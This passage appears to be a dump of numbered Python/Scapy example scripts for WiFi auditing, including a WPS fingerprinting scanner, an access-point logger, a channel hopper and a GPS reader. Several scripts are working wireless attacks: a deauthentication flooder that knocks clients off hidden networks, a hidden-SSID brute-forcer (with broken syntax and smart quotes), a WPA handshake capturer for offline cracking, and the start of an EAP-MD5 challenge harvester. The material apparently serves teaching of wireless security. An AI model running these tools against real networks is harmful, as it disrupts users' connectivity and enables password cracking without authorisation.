State ', 'type' : 'hex'}, 23 | 0x1057 : {'name' : 'AP Setup Locked ', 'type' : 'hex'}, 24 | 0x1041 : {'name' : 'Selected Registrar ', 'type' : 'hex'}, 25 | 0x1012 : {'name' : 'Device Password ID ', 'type' : 'hex'}, 26 | 0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'}, 27 | 0x103B : {'name' : 'Response Type ', 'type' : 'hex'}, 28 | 0x1047 : {'name' : 'UUID-E ', 'type' : 'hex'}, 29 | 0x1021 : {'name' : 'Manufacturer ', 'type' : 'str'}, 30 | 0x1023 : {'name' : 'Model Name ', 'type' : 'str'}, 31 | 0x1024 : {'name' : 'Model Number ', 'type' : 'str'}, 32 | 0x1042 : {'name' : 'Serial Number ', 'type' : 'str'}, 33 | 0x1054 : {'name' : 'Primary Device Type ', 'type' : 'hex'}, 34 | 0x1011 : {'name' : 'Device Name ', 'type' : 'str'}, 35 | 0x1008 : {'name' : 'Config Methods ', 'type' : 'hex'}, 36 | 0x103C : {'name' : 'RF Bands ', 'type' : 'hex'}, 37 | 0x1045 : {'name' : 'SSID ', 'type' : 'str'}, 38 | 0x102D : {'name' : 'OS Version ', 'type' : 'str'} 39 | } 40 | 41 | 42 | def __init__(self,iface,pfile): 43 | if iface: 44 | conf.iface = iface 45 | if pfile: 46 | self.pfile = pfile 47 | 48 | def run(self): 49 | if self.verbose: 50 | if self.pfile: 51 | stderr.write("Reading packets from %s\n\n" % self.pfile) 52 | else: 53 | stderr.write("Listening on interface %s\n\n" % conf.iface) 54 | 55 | try: 56 | sniff(prn=self.pcap,offline=self.pfile) 57 | except Exception, e: 58 | print 'Caught exception while running sniff():',e 59 | 60 | #Handles captured packets 61 | def pcap(self,packet): 62 | if packet.haslayer(Dot11Beacon): 63 | self.beaconh(packet) 64 | elif packet.haslayer(Dot11ProbeResp): 65 | self.responseh(packet) 66 | 67 | #Beacon packet handler 68 | def beaconh(self,pkt): 69 | elt = None 70 | eltcount = 1 71 | doprobe = False 72 | essid = None 73 | bssid = pkt[Dot11].addr3.upper() 74 | 75 | #If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it 76 | if self.bssid and self.essid: 77 | self.probereq(self.essid,self.bssid) 78 | return 79 | 80 | #If we've already probed it, processing it's beacon frames won't do us any more good 81 | if self.probedNets.has_key(bssid): 82 | return 83 | 84 | #Is this the BSSID we're looking for? 85 | if self.bssid and self.bssid != bssid: 86 | return 87 | 88 | #Loop through all information elements 89 | while elt != pkt.lastlayer(Dot11Elt): 90 | elt = pkt.getlayer(Dot11Elt, nb=eltcount) 91 | eltcount += 1 92 | 93 | #Get the SSID 94 | if elt.ID == 0: 95 | essid = elt.info 96 | #Skip if this is not the SSID we're looking for 97 | if self.essid and essid != self.essid: 98 | return 99 | 100 | #Check for a WPS information element 101 | else: 102 | doprobe = self.iswpselt(elt) 103 | if doprobe: 104 | if self.verbose: 105 | stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid)) 106 | break 107 | 108 | #Should we actively probe this AP? 109 | if doprobe == True or self.rprobe == True: 110 | self.probereq(essid,bssid) 111 | return 112 | 113 | #Probe response packet handler 114 | def responseh(self,pkt): 115 | wpsdata = [] 116 | eltcount = 1 117 | elt = None 118 | bssid = None 119 | essid = None 120 | bssid = pkt[Dot11].addr3.upper() 121 | 122 | #Is this the BSSID we're looking for? 123 | if self.bssid and self.bssid != bssid: 124 | return 125 | 126 | #Loop through all information elements 127 | while elt != pkt.lastlayer(Dot11Elt): 128 | elt = pkt.getlayer(Dot11Elt, nb=eltcount) 129 | eltcount += 1 130 | 131 | #Get the SSID 132 | if elt.ID == 0: 133 | essid = elt.info 134 | #Don't probe a network if we've already gotten a probe response for it 135 | if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid: 136 | return 137 | #Skip if this is not the SSID we're looking for 138 | if self.essid and essid != self.essid: 139 | return 140 | if self.verbose: 141 | stderr.write("Received probe response from %s (%s)\n" % (bssid,essid)) 142 | elif self.iswpselt(elt): 143 | wpsdata = self.parsewpselt(elt) 144 | 145 | #Display WPS information 146 | if wpsdata: 147 | self.printwpsinfo(wpsdata,bssid,essid) 148 | elif self.verbose: 149 | stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid)) 150 | 151 | #Mark this BSSID as complete 152 | self.probedNets[bssid] = essid 153 | 154 | return 155 | 156 | #Display collected WPS data 157 | def printwpsinfo(self,wpsdata,bssid,essid): 158 | textlen = 33 159 | filler = ' ' 160 | 161 | if wpsdata: 162 | print '' 163 | print 'BSSID:',bssid 164 | print 'ESSID:',essid 165 | print '----------------------------------------------------------' 166 | 167 | for (header,data,datatype) in wpsdata: 168 | if datatype != 'str': 169 | tdata = data 170 | data = '0x' 171 | for i in tdata: 172 | byte = str(hex(ord(i)))[2:] 173 | if len(byte) == 1: 174 | byte = '0' + byte 175 | data += byte 176 | header = header + (filler * (textlen-len(header))) 177 | print '%s : %s' % (header,data) 178 | print '' 179 | 180 | 181 | #Send a probe request to the specified AP 182 | def probereq(self,essid,bssid): 183 | if not essid or not bssid: 184 | return 185 | if self.probedNets.has_key(bssid) and self.probedNets[bssid] is not None: 186 | return 187 | if self.pfile: 188 | return 189 | 190 | if self.verbose: 191 | stderr.write("Probing network '%s (%s)'\n" % (bssid,essid)) 192 | 193 | try: 194 | #Build a probe request packet with a SSID and a WPS information element 195 | dst = mac2str(bssid) 196 | src = mac2str("ff:ff:ff:ff:ff:ff") 197 | packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq() 198 | packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID) 199 | 200 | #Send it! 201 | send(packet,verbose=0) 202 | self.probedNets[bssid] = None 203 | except Exception, e: 204 | print 'Failure sending probe request to',essid,':',e 205 | 206 | 207 | #Check if an element is a WPS element 208 | def iswpselt(self,elt): 209 | if elt.ID == 221: 210 | if elt.info.startswith(self.WPS_ID): 211 | return True 212 | return False 213 | 214 | 215 | #Parse a WPS element 216 | def parsewpselt(self,elt): 217 | data = [] 218 | tagname = None 219 | tagdata = None 220 | datatype = None 221 | tag = 0 222 | tlen = 0 223 | i = len(self.WPS_ID) 224 | 225 | try: 226 | if self.iswpselt(elt): 227 | while i < elt.len: 228 | #Get tag number and length 229 | tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1])) 230 | i += 2 231 | tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1])) 232 | i += 2 233 | 234 | #Get the tag data 235 | tagdata = elt.info[i:i+tlen] 236 | i += tlen 237 | 238 | #Lookup the tag name and type 239 | try: 240 | tagname = self.wps_attributes[tag]['name'] 241 | datatype = self.wps_attributes[tag]['type'] 242 | except Exception, e: 243 | tagname = 'Unknown' 244 | datatype = 'hex' 245 | 246 | #Append to array 247 | data.append((tagname,tagdata,datatype)) 248 | except Exception,e: 249 | print 'Exception processing WPS element:',e 250 | 251 | return data 252 | 253 | def about(): 254 | print ''' 255 | WPScan actively scans access points that support WiFi Protected Setup by sending 256 | 802.11 probe requests to them. It then examines the WPS information element in the 257 | resulting 802.11 probe response and displays the information contained in that IE. 258 | 259 | This is useful for fingerprinting WPS-capable access points, as many of them will 260 | include their vendor, model number, and firmware versions in the WPS IE of the 261 | probe response. 262 | ''' 263 | exit(0) 264 | 265 | def usage(): 266 | print ''' 267 | Usage: %s [OPTIONS] 268 | 269 | -i Specify the interface to listen on 270 | -p Specify pcap file to read from 271 | -b Specify a bssid filter 272 | -e Specify an essid filter 273 | -n Probe all networks 274 | -v Enable verbose mode 275 | -a Show about information 276 | -h Show help 277 | ''' % argv[0] 278 | exit(1) 279 | 280 | 281 | def main(): 282 | bssid = None 283 | essid = None 284 | iface = 'mon0' 285 | pfile = None 286 | probeall = False 287 | verbose = False 288 | 289 | try: 290 | opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh"); 291 | except GetoptError, e: 292 | print 'Usage Error:',e 293 | usage() 294 | 295 | for opt,optarg in opts: 296 | if opt == '-b': 297 | bssid = optarg.upper() 298 | elif opt == '-e': 299 | essid = optarg 300 | elif opt == '-i': 301 | iface = optarg 302 | elif opt == '-p': 303 | pfile = optarg 304 | elif opt == '-v': 305 | verbose = True 306 | elif opt == '-n': 307 | probeall = True 308 | elif opt == '-a': 309 | about() 310 | else: 311 | usage() 312 | 313 | 314 | wps = WPSQuery(iface,pfile) 315 | wps.bssid = bssid 316 | wps.essid = essid 317 | wps.rprobe = probeall 318 | wps.verbose = verbose 319 | wps.run() 320 | 321 | 322 | if __name__ == "__main__": 323 | main() 324 | 325 | -------------------------------------------------------------------------------- /ejemplo26.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*-​ 3 | import logging,time,os 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | import scapy_ex 7 | import sqlite3 8 | from netaddr import * 9 | from netaddr.core import NotRegisteredError 10 | from signal import SIGINT, signal 11 | import threading, os, time 12 | from threading import Thread, Lock 13 | from subprocess import Popen, PIPE 14 | from signal import SIGINT, signal 15 | 16 | intfmon='mon0' 17 | intfparent = 'wlan1' 18 | workdir = './database' 19 | channel='' ### Define channel if not want to hop, and will stay in one channel 20 | deleterecords=0 21 | verbose = 1 22 | first_pass=1 23 | lock = Lock() 24 | DN = open(os.devnull, 'w') 25 | ap_list = [ ] 26 | timestamp = str(int(time.time())) 27 | stop = True 28 | 29 | 30 | def channel_hop(channel=None): 31 | global intfmon, first_pass 32 | channelNum=0 33 | err = None 34 | 35 | while 1: 36 | if channel: 37 | with lock: monchannel = channel 38 | else: 39 | channelNum +=1 40 | if channelNum > 14: channelNum = 1 41 | with lock: first_pass = 0 42 | with lock: monchannel = str(channelNum) 43 | try: 44 | proc = Popen(['iw', 'dev', intfmon, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE) 45 | if verbose >1: print "Setting %s interface to channel: %s" %(intfmon, monchannel) 46 | except OSError as e: 47 | print 'Could not execute iw!' 48 | os.kill(os.getpid(),SIGINT) 49 | sys.exit(1) 50 | for line in proc.communicate()[1].split('\n'): 51 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 52 | err = 'Channel hopping failed: '+ line 53 | if channel: 54 | time.sleep(.05) 55 | else: 56 | if first_pass == 1: 57 | time.sleep(1) 58 | continue 59 | 60 | 61 | def stop_sniff(pkt): 62 | if stop: 63 | return False 64 | else: 65 | return True 66 | 67 | 68 | def end_execution(signal, frame): 69 | global stop 70 | stop=True 71 | # Committing changes and closing the connection to the database file 72 | con.commit() 73 | # Make a query to the DB 74 | if len(ap_list) > 0: 75 | cursor.execute("SELECT * from AP") 76 | sys.stdout.write("\033[F") # Cursor up one line 77 | print '\nAP database records:' 78 | for row in cursor: 79 | print row 80 | con.close() 81 | sys.exit('CTRL+C pressed, exitting!') 82 | 83 | 84 | def get_oui(mac): 85 | try: 86 | return EUI(mac).oui.registration().org 87 | except NotRegisteredError: 88 | return "N/A" 89 | 90 | 91 | def InitMon(): 92 | # Check if monitor device exists 93 | if not os.path.isdir("/sys/class/net/" + intfmon): 94 | if not os.path.isdir("/sys/class/net/" + intfparent): 95 | print "WiFi interface %s does not exist! Cannot continue!" %(intfparent) 96 | exit() 97 | else: 98 | # create monitor interface using iw 99 | cmd = 'iw dev %s interface add %s type monitor >/dev/null 2>&1' % (intfparent, intfmon) 100 | cmd2 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 101 | try: 102 | os.system(cmd) 103 | time.sleep(0.3) 104 | os.system(cmd2) 105 | except: 106 | raise 107 | else: 108 | print "Monitor %s exists! Nothing to do, just continuing..." %(intfmon) 109 | 110 | 111 | def PacketHandler(pkt) : 112 | if pkt.haslayer(Dot11Beacon): 113 | bssid=pkt.addr2.upper() 114 | if bssid not in ap_list : 115 | ap_list.append(bssid) 116 | manufacturer = get_oui(bssid) 117 | essid = pkt.info 118 | hidden = int((not essid)) 119 | channel = pkt[Dot11].channel() or pkt[RadioTap].Channel 120 | channel = int(channel) 121 | lrates = pkt[Dot11].rates() 122 | rates=','.join(str(x) for x in lrates) 123 | signal = 100 - abs(int(pkt[RadioTap].dBm_AntSignal)) 124 | if pkt.hasflag('cap', 'privacy'): 125 | elt_rsn = pkt[Dot11].rsn() 126 | if elt_rsn: 127 | enc = elt_rsn.enc 128 | cipher = elt_rsn.cipher 129 | auth = elt_rsn.auth 130 | else: 131 | enc = 'WEP' 132 | cipher = 'WEP' 133 | auth = '' 134 | else: 135 | enc = 'OPN' 136 | cipher = '' 137 | auth = '' 138 | security = "%s/%s/%s" %(enc,cipher,auth) 139 | wps=0 140 | p = pkt[Dot11Elt] 141 | while isinstance(p, Dot11Elt): 142 | if pkt[Dot11Elt].ID == 221: 143 | if elt.info.startswith("\x00\x50\xF2\x04"): 144 | wps=1 145 | p = p.payload 146 | 147 | # Insert a row of data 148 | row=set() 149 | seen=int(time.time()) 150 | row = bssid,seen,seen,essid,hidden,security,wps,rates,manufacturer,channel,signal 151 | cursor.execute("INSERT INTO AP VALUES (?,?,?,?,?,?,?,?,?,?,?)" ,row) 152 | if verbose: print "%s: AP BSSID:%s with ESSID:%s and SEC:%s/%s/%s WPS:%s %d SIGNAL:%s RATES:%s" %(timestamp,bssid, essid, enc, cipher, auth, wps, channel,signal,rates) 153 | else: 154 | seen=int(time.time()) 155 | cursor.execute("UPDATE AP set LASTSEEN=? where BSSID=?",(seen,bssid,)) 156 | 157 | 158 | # Init monitor mode interface, if necessary 159 | InitMon() 160 | 161 | # Creating the sqlite DB file and populate it with new tables 162 | if not os.path.exists(workdir): 163 | try: 164 | os.makedirs(workdir) 165 | except: 166 | print "Cannot create directory: " + workdir 167 | workdir="./" 168 | dbfile = workdir + '/scan.sqlite' # name of the sqlite database file 169 | try: 170 | if not os.path.isfile(dbfile): 171 | con = sqlite3.connect(dbfile) ## Connection object, if DB does not exist it'll be created now 172 | cursor = con.cursor() ## Cursor object (DB will be handled with this object) 173 | con.text_factory = lambda x: unicode(x, 'utf-8', 'ignore') 174 | cursor.execute('''CREATE TABLE AP 175 | (bssid TEXT PRIMARY KEY NOT NULL, 176 | firstseen INTEGER NOT NULL, 177 | lastseen INTEGER NOT NULL, 178 | essid TEXT, 179 | hidden INTEGER, 180 | security TEXT, 181 | wps INTEGER, 182 | rates TEXT, 183 | manufacturer TEXT, 184 | channel INTEGER, 185 | signal INTEGER)''') 186 | print "Created SQlite DB file: %s successfully!" %dbfile 187 | else: 188 | con = sqlite3.connect(dbfile) ## Connection object, if DB does not exist it'll be created now 189 | cursor = con.cursor() ## Cursor object (DB will be handled with this object) 190 | con.text_factory = lambda x: unicode(x, 'utf-8', 'ignore') 191 | print "SQlite DB file: %s exists!" %dbfile 192 | if deleterecords: 193 | print "Requested to delete all records from DB!" 194 | cursor.execute("DELETE from AP") 195 | else: 196 | # Populate ap_list from DB 197 | cursor.execute("SELECT * from AP") 198 | for row in cursor: 199 | ap_list.append(row[0]) 200 | 201 | except Exception as e: 202 | print e.message, e.args 203 | print "Could not create %s Database!, exiting!" %dbfile 204 | exit(-1) 205 | 206 | 207 | 208 | # Interrupt handler to exit 209 | signal(SIGINT, end_execution) 210 | 211 | # Start channel hopping 212 | hop = Thread(target=channel_hop, args=channel) 213 | hop.daemon = True 214 | hop.start() 215 | 216 | # Begin sniffing 217 | sniff(iface=intfmon, prn = PacketHandler, stop_filter=stop_sniff, lfilter=lambda p:Dot11 in p) 218 | 219 | -------------------------------------------------------------------------------- /ejemplo27.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import serial, time 4 | from pynmea import nmea 5 | 6 | sport='/dev/ttyUSB0' 7 | sbaud=4800 8 | stimeout = 1 # timeout (in seconds) so that the port doesn't hang 9 | ser=0 10 | verbose=1 11 | 12 | def init_serial(): 13 | global ser 14 | ser = serial.Serial() 15 | ser.baudrate = sbaud 16 | ser.port = sport 17 | ser.timeout = stimeout 18 | ser.open() 19 | print 'Serial port: ' + ser.portstr 20 | 21 | 22 | #### Main Thread 23 | init_serial() 24 | 25 | while 1: 26 | try: 27 | data = ser.readline() ## reads in bytes followed by a newline 28 | print 'NMEA Phrase: ' + data 29 | if data[0:6] == '$GPGGA': 30 | gpgga = nmea.GPGGA() 31 | gpgga.parse(data) 32 | if verbose: print 'GPS NMEA: ' + data ## print to the console 33 | print 'GPS timestamp: ' + gpgga.timestamp 34 | print 'GPS sats,qual: ' + gpgga.num_sats + ',' + gpgga.gps_qual 35 | print 'GPS lon,lat: ' + gpgga.longitude + ',' + gpgga.latitude 36 | if data[0:6] == '$GPRMC': 37 | gprmc = nmea.GPRMC() 38 | gprmc.parse(data) 39 | print 'GPS timestamp: ' + gprmc.timestamp 40 | 41 | except serial.SerialException as e: ## There is no new data from serial port 42 | pass 43 | except TypeError as e: ## Disconnect of USB->UART occured 44 | ser.port.close() 45 | break 46 | except KeyboardInterrupt as e: ## Disconnect of USB->UART occured 47 | ser.port.close() 48 | break 49 | else: ## Some data was received 50 | pass 51 | 52 | -------------------------------------------------------------------------------- /ejemplo29.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import sys, os, logging, time 4 | from threading import Thread, Lock 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 6 | from scapy.all import * 7 | 8 | intfmon='mon0' 9 | channel=11 10 | mymac='' 11 | count=5 12 | verbose=0 13 | 14 | aps2get=set() ## set with BSSID of hidden AP 15 | aps2deauth=set() 16 | gotaps=set() ## set with BSSID of recoverde hidden AP 17 | clientdeauthlist=set() ## set with STA connected to hidden APs 18 | ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mymac] 19 | 20 | def PacketHandler(pkt): 21 | global aps2get, gotaps, clientdeauthlist 22 | if pkt.haslayer(Dot11Beacon) and not pkt.info: ## Hidden AP 23 | if pkt.addr3 not in aps2deauth and pkt.addr3 not in gotaps and pkt.addr3 not in ignore and pkt.addr3 not in aps2get: 24 | aps2get.add(pkt.addr3) 25 | print "HiddenSSID found with BSSID: %s" %(pkt.addr3) 26 | elif pkt.haslayer(Dot11ProbeResp) and pkt.addr3 in aps2get and pkt.addr3 not in ignore and pkt.addr3 not in gotaps: 27 | aps2get.remove(pkt.addr3) 28 | gotaps.add(pkt.addr3) 29 | clientdeauthlist=set() 30 | print "HiddenSSID: %s discovered for BSSID:%s" %(pkt.info,pkt.addr3) 31 | elif pkt.type in [1,2] and pkt.addr3 not in gotaps and pkt.addr3 not in ignore and pkt.addr3 in aps2get: 32 | if pkt.addr1 and pkt.addr2: ## if "from" and "to" mac addr. exists 33 | if pkt.addr3 == pkt.addr1: ## packet destination is AP and src is STA 34 | if pkt.addr2 not in clientdeauthlist and not pkt.addr2 in ignore: 35 | client=(pkt.addr3,pkt.addr2) 36 | clientdeauthlist.add(client) 37 | elif pkt.addr2 == pkt.addr3: ## packet destination is STA and src is AP 38 | if pkt.addr1 not in clientdeauthlist and not pkt.addr1 in ignore: 39 | client=(pkt.addr3,pkt.addr1) 40 | clientdeauthlist.add(client) 41 | 42 | def deauthlist(): 43 | global aps2get, gotaps, clientdeauthlist 44 | while True: 45 | pkts = [] 46 | if len(clientdeauthlist) > 0: 47 | for x in clientdeauthlist: 48 | client = x[1] 49 | ap = x[0] 50 | # Append the packets to a new list so we don't have to hog the lock 51 | deauth_sta = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() 52 | deauth_ap = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth() 53 | pkts.append(deauth_sta) 54 | pkts.append(deauth_ap) 55 | print "Deauthing STA: %s from AP:%s..." %(client,ap) 56 | if len(pkts) > 0: 57 | for pkt in pkts: 58 | send(pkt, inter=0.100, count=count, verbose=0) 59 | time.sleep(10) 60 | 61 | def SetChannel(channel): 62 | cmd0 = 'ifconfig %s up >/dev/null 2>&1' % (intfmon) 63 | cmd1 = 'iw dev %s set channel %s >/dev/null 2>&1' % (intfmon, channel) 64 | try: 65 | os.system(cmd0) 66 | os.system(cmd1) 67 | print "Setting %s to channel: %s" %(intfmon,channel) 68 | except: 69 | print "Error setting channel for %s" %intfmon 70 | 71 | 72 | 73 | # Main loop 74 | if type(channel)=='int': channel=str(channel) 75 | if channel: SetChannel(channel) 76 | print "Looking for hidden AP in channel %s" %channel 77 | print "Press CTRL+C to stop execution!" 78 | 79 | # Start deauth thread 80 | deauth_thread = Thread(target=deauthlist) 81 | deauth_thread.daemon = True 82 | deauth_thread.start() 83 | 84 | sniff(iface=intfmon, store=False, prn=PacketHandler, lfilter=lambda pkt: Dot11 in pkt) 85 | -------------------------------------------------------------------------------- /ejemplo3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | import threading, os, time, logging 4 | from threading import Thread, Lock 5 | from subprocess import Popen, PIPE 6 | from signal import SIGINT, signal 7 | from time import sleep 8 | 9 | intfmon='mon0' 10 | verbose=1 11 | DN = open(os.devnull, 'w') 12 | 13 | class Hopper(Thread): 14 | def __init__(self, interface, wait=4): 15 | Thread.__init__(self) 16 | Thread.daemon = True 17 | 18 | self.wait = wait 19 | self.iface = intfmon 20 | self.HOPpause = False 21 | # dwell for 3 time slices on 1 6 11 22 | # default is 3/10 of a second 23 | self.channellist = [1, 6, 11, 14, 2, 7, 3, 8, 4, 12, 9, 5, 10, 13, 24 | 36, 38, 40, 42, 44, 46, 52, 56, 58, 60, 100, 104, 108, 112, 25 | 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 165] 26 | self.hopList = [] 27 | self.current = 0 28 | self.check_channels() 29 | 30 | def check_channels(self): 31 | # try setting 802.11ab channels first 32 | # this may not work depending on 5ghz dfs 33 | # reverse so we start with 5ghz channels first 34 | if verbose: logging.debug('Gettings available channels...') 35 | for ch in self.channellist: 36 | check=True 37 | try: 38 | proc = Popen(['iw', 'dev', self.iface, 'set', 'channel', str(ch)], stdout=DN, stderr=PIPE) 39 | except: 40 | if verbose: logging.debug('Could not execute iw!') 41 | os.kill(os.getpid(),SIGINT) 42 | check=False 43 | for line in proc.communicate()[1].split('\n'): 44 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 45 | check=False 46 | if check == True: 47 | self.hopList.append(ch) 48 | if verbose: 49 | logging.debug('Available channels for hopping:') 50 | logging.debug(self.hopList) 51 | 52 | def pause(self): 53 | self.HOPpause = True 54 | 55 | def unpause(self): 56 | self.HOPpause = False 57 | 58 | def set_channel(self, channel, check=True): 59 | if verbose: print('[*] Switching channel to %s' % channel) 60 | 61 | if check and channel not in self.hopList: 62 | if verbose: logging.error('[!] Channel %s not inhop list' % channel) 63 | return False 64 | 65 | try: 66 | proc = Popen(['iw', 'dev', intfmon, 'set', 'channel', str(channel)], stdout=DN, stderr=PIPE) 67 | except OSError as e: 68 | print 'Could not execute iw!' 69 | os.kill(os.getpid(),SIGINT) 70 | return False 71 | for line in proc.communicate()[1].split('\n'): 72 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 73 | return False 74 | 75 | def run(self): 76 | while True: 77 | for ch in self.hopList: 78 | if self.HOPpause is True: 79 | continue 80 | 81 | if not self.set_channel(ch): 82 | continue 83 | 84 | self.current = ch 85 | 86 | if ch in [1, 6, 11, 13]: ## dwell for 4/10 of a second, we want to sit on 1 6 11 and 13 a bit longer 87 | sleep(.5) 88 | else: 89 | sleep(.3) 90 | 91 | 92 | if __name__ == '__main__': 93 | logging.basicConfig(level=logging.DEBUG) 94 | Hopper(intfmon).start() 95 | raw_input('Press enter to stop...') 96 | -------------------------------------------------------------------------------- /ejemplo30.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import sys, os, logging, time 4 | from threading import Thread, Lock 5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 6 | from scapy.all import * 7 | 8 | intfmon='mon0' 9 | count=5 10 | verbose=0 11 | broadcast=’ff:ff:ff:ff:ff:fff’ 12 | 13 | for ssid in open(sys.argv[1], ‘r’).readlines(): 14 | pkt. = RadioTap() / Dot11(type=0, subtype=4, addr1=broadcast, addr2=RandMAC(), addr3=broadcast) / Dot11ProbeReq () 15 | pkt /= Dot11Elt(ID=0, info=ssid.strip()) / Dot11Elt(ID=1, info=”\x02\x04\x0b\x1” ) / Dot11Elt(ID=3, Info=”\x08”) 16 | print “Trying SSID %s” %ssid 17 | ans=srp1(pkt,iface=intfmon,timeout=1) 18 | if len(ans) > 0: 19 | print “Discovered ESSID: %s with BSSID: %s” %ans.info(), ans.addr3() 20 | exit() 21 | 22 | -------------------------------------------------------------------------------- /ejemplo31.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from scapy.all import * 6 | load_contrib("wpa_eapol") 7 | 8 | intfmon='mon0' 9 | apbssid="" ## "00:18:39:AE:88:58" 10 | duration=4 ## authentication nax duration in seconds 11 | workdir = './capture' 12 | filename = workdir + "/wpa_handshake.cap" 13 | verbose=1 14 | 15 | beacons = [] 16 | ap_beacon_list = [] 17 | wpa_handshakes = {} 18 | WPA_KEY_INFO_INSTALL = 64 19 | WPA_KEY_INFO_ACK = 128 20 | WPA_KEY_INFO_MIC = 256 21 | 22 | def PacketHandler(pkt): 23 | # Got EAPOL KEY packet 24 | if pkt.haslayer(WPA_key): 25 | layer = pkt.getlayer (WPA_key) 26 | 27 | # Parse source and destination of packet 28 | if (pkt.FCfield & 1): 29 | station = pkt.addr2 ## packet from station - FromDS=0, ToDS=1 30 | elif (pkt.FCfield & 2): 31 | station = pkt.addr1 ## packet from AP - FromDS=1, ToDS=0 32 | else: 33 | return ## packet from ad-hoc or WDS network 34 | 35 | # First, check that the access point is the one we want to target 36 | bssid = pkt.addr3.upper() 37 | if apbssid and bssid != apbssid.upper(): 38 | print "WPA handshake packets of other AP: %s from station: %s" %(bssid,station) 39 | return 40 | 41 | if not wpa_handshakes.has_key(station): 42 | wpa_handshakes[station]= \ 43 | {'ts':time.time(),'frame2': None,'frame3':None,'frame4':None,'replay_counter':None,'packets':[]} 44 | else: 45 | if time.time()-duration > wpa_handshakes[station]['ts']: 46 | wpa_handshakes.pop(station, None) ## Elimina anteriores paquetes 47 | wpa_handshakes[station] = \ 48 | {'ts':time.time(),'frame2': None,'frame3':None,'frame4':None,'replay_counter':None,'packets':[]} 49 | if verbose >1: print "Resetting time for station %s" %station 50 | 51 | key_info = layer.key_info 52 | wpa_key_length = layer.wpa_key_length 53 | replay_counter = layer.replay_counter 54 | 55 | # check for frame 2 56 | if ((key_info & WPA_KEY_INFO_MIC) and (key_info & WPA_KEY_INFO_ACK == 0) \ 57 | and (key_info & WPA_KEY_INFO_INSTALL == 0) and (wpa_key_length > 0)): 58 | print "Found Handshake packet 2 for AP: %s and station: %s" %(bssid,station) 59 | wpa_handshakes[station]['ts'] = time.time() 60 | wpa_handshakes[station]['frame2'] = 1 61 | wpa_handshakes[station]['packets'].append(pkt) 62 | 63 | # check for frame 3 64 | elif ((key_info & WPA_KEY_INFO_MIC) and (key_info & WPA_KEY_INFO_ACK) \ 65 | and (key_info & WPA_KEY_INFO_INSTALL)): 66 | print "Found Handshake packet 3 for AP: %s and station: %s" %(bssid,station) 67 | wpa_handshakes[station]['ts'] = time.time() 68 | wpa_handshakes[station]['frame3'] = 1 69 | wpa_handshakes[station]['replay_counter'] = replay_counter ## store the replay counter for this station 70 | wpa_handshakes[station]['packets'].append(pkt) 71 | 72 | # check for frame 4 73 | elif ((key_info & WPA_KEY_INFO_MIC) and (key_info & WPA_KEY_INFO_ACK == 0) \ 74 | and (key_info & WPA_KEY_INFO_INSTALL == 0) \ 75 | and wpa_handshakes[station]['replay_counter'] == replay_counter): 76 | print "Found Handshake packet 4 for AP: %s and station: %s" %(bssid,station) 77 | wpa_handshakes[station]['ts'] = time.time() 78 | wpa_handshakes[station]['frame4'] = 1 79 | wpa_handshakes[station]['packets'].append(pkt) 80 | 81 | # Check if all frames present 82 | if (wpa_handshakes[station]['frame2'] and wpa_handshakes[station]['frame3'] \ 83 | and wpa_handshakes[station]['frame4']): 84 | print "Saving all packets of WPA handshake for AP: %s and station: %s" %(bssid,station) 85 | pktdump.write(wpa_handshakes[station]['packets']) 86 | if wpa_handshakes.has_key(station): wpa_handshakes.pop(station, None) 87 | 88 | elif pkt.haslayer(Dot11Beacon) and not pkt.addr3 in ap_beacon_list: 89 | if verbose: print pkt.summary() 90 | pktdump.write(pkt) 91 | ap_beacon_list.append(pkt.addr3) 92 | 93 | 94 | # Start sniffing 95 | pktdump = PcapWriter(filename, append=True, sync=True) 96 | print "Sniffing on interface " + intfmon 97 | print "Saving EAPOL packets and 1 beacon frame of each BSSID in: %s" %filename 98 | sniff(iface=intfmon, prn=PacketHandler) 99 | -------------------------------------------------------------------------------- /ejemplo32.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*-​ 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 5 | from collections import defaultdict 6 | from scapy.all import * 7 | from scapy.layers.l2 import eap_types as EAP_TYPES 8 | import sys, argparse 9 | import thread 10 | import subprocess 11 | 12 | pcap_file = None 13 | intfmon = 'mon0' 14 | channel = '1' 15 | md5challenge = {} 16 | requser = {} 17 | USER = {} 18 | USERID = {} 19 | USERNAME = {} 20 | UserList = 